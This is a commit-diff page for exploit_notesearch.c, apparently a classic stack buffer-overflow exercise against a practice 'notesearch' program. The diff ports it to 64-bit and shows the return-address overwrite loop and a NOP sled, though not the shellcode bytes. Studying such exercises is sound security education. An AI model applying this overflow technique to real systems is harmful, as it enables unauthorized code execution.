summaryrefslogtreecommitdiff
path: root/exploit_notesearch.c
diff options
context:
space:
mode:
Diffstat (limited to 'exploit_notesearch.c')
-rw-r--r--exploit_notesearch.c7
1 files changed, 4 insertions, 3 deletions
diff --git a/exploit_notesearch.c b/exploit_notesearch.c
index 111a781..815ea11 100644
--- a/exploit_notesearch.c
+++ b/exploit_notesearch.c
@@ -9,7 +9,8 @@ char shellcode[]=
int main(int argc, const char *argv[])
{
- unsigned long i, *ptr, ret, offset=270;
+ unsigned int i, *ptr, offset=270;
+ unsigned long ret;
char *command, *buffer;
command = (char *) malloc(200);
@@ -23,8 +24,8 @@ int main(int argc, const char *argv[])
ret = (unsigned long) &i - offset;
- for (i = 0; i < 160; i++) {
- *((unsigned int *)(buffer+i)) = ret;
+ for (i = 0; i < 160; i += 8) {
+ *((unsigned long *)(buffer + i)) = ret;
}
memset(buffer, 0x90, 60);